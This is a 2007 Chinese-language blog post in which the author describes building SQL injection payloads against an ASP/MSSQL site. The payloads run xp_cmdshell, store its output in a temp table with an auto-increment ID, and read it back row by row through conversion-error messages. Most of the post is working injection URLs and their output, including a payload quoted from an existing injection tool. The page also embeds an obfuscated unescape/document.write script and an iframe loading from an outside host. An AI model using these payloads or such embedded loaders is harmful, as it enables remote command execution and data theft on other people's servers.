一段執行 xp_cmdshell回顯讀取的經歷!(圖)

lxf464383發表於2007-10-19
 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

一段執行 xp_cmdshell回顯讀取的經歷!(圖)





最近在寫 xp_cmdshell 執行命令,怎樣讀取回顯的事!
我在"企業管理器 SQL Server Enterprise Manager "執行一下命令
EXEC master.dbo.xp_cmdshell 'dir c:/'
可以顯示內容,但,怎樣把他顯示出來? 我以前想,不就一行一行讀取來,我是這樣寫的!
//先建立一個臨時表
http://www.xxx.com/aa.asp?=1 ; create TABLE D99_CMD([output][varchar](1000));--
//之後把 xp_cmdshell 想顯的內容輸入臨時表
http://www.xxx.com/aa.asp?=1 ; insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:/'
//讀取內容
http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Boutput%2Bchar(124) From (select Top 1 output From D99_CMD Order by [output]) T Order by [output ] desc)>0
我讀取內容的時候,才知道不能讀取!我檢視了臨時表,內容是有的!
之後想想,應該是因建列的資訊不足(有空行啊),內容不能爆出來!就算可以爆,也有可能不是按順序的!
那要怎樣一行一行的讀取來了!
呵呵!所以我用了笨方法,什麼方法,查一下現在網上已可用的 xp_cmdshell 的軟體抓包看看!
這個軟體很早就實現了這個功能,所以我拿他來抓包!
;EXEC ASTER..XP_CMDSHELL 'Dir C:/ > C:/NB_Commander_Txt.log';drop TABLE NB_Commander_Tmp;create TABLE NB_Commander_Tmp(ResultTxt varchar(7996) NULL);BULK insert [sdyy]..[NB_Commander_Tmp] FROM 'C:/NB_Commander_Txt.log' WITH (KEEPNULLS);alter Table NB_Commander_Tmp add ID int NOT NULL IDENTITY (1,1)--
他是把執行的回顯內容寫入一個檔案,之後再把他導進資料庫中,暈,前輩知道的SQL命令真多!
我看到程式碼暈了,好多!(不要笑我,其實我做注入工具以前,還一點也不懂SQL的!是寫注入後,才知道了些注入的SQL命令)
看了前輩的程式碼,看到
ID int NOT NULL IDENTITY (1,1)
自動編號!!!!
可不可以在執行 xp_cmdshell 時,同時也加進一個唯一的ID號!!!!
我在臨時表裡,加入了一個自動程式設計的ID,之後,我再執行xp_cmdshell命令把回顯的內容匯入資料庫,執行完命令後,我再檢視了臨時表!
我高興了,可以匯入內容的!
成功了,成功了!!!(我以前不知道可以這樣加的!不太熟SQL了,不要笑我了)有了一個可以排序的ID,爆內容就不復雜了!
我改的程式碼!
===============================================================
建立表,加了個自動編號的ID,並把xp_cmdshell的回顯內容匯入臨時表
http://www.xxx.com/aa.asp?=1 ;drop TABLE D99_CMD; create TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:/' ;--
//之後爆內容了,可以一行一行的爆!
http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Bdata%2Bchar(124) From (select Top 1 [ID],[Data] From D99_CMD Order by [ID]) T Order by [ID] desc)>0
===============================================================
drop TABLE D99_CMD
是清除以前的內容
如果想知道有多少行,可以這樣讀
http://www.xxx.com/aa.asp?=1 And (select char(124)%2Bcast(Count(1) as varchar(8000))%2Bchar(124) From D99_CMD)>0
回顯的內容如下:
----------------------------------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 '|37|' 轉換為資料型別為 int 的列時發生語法錯誤。
'|37|' 裡的 37 就是行數
=======================================
是因為我SQL命令不太熟悉,所以走了很多彎路!
這也是我用 xp_cmdshell 執行回顯問題的一點經歷! 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">

相關文章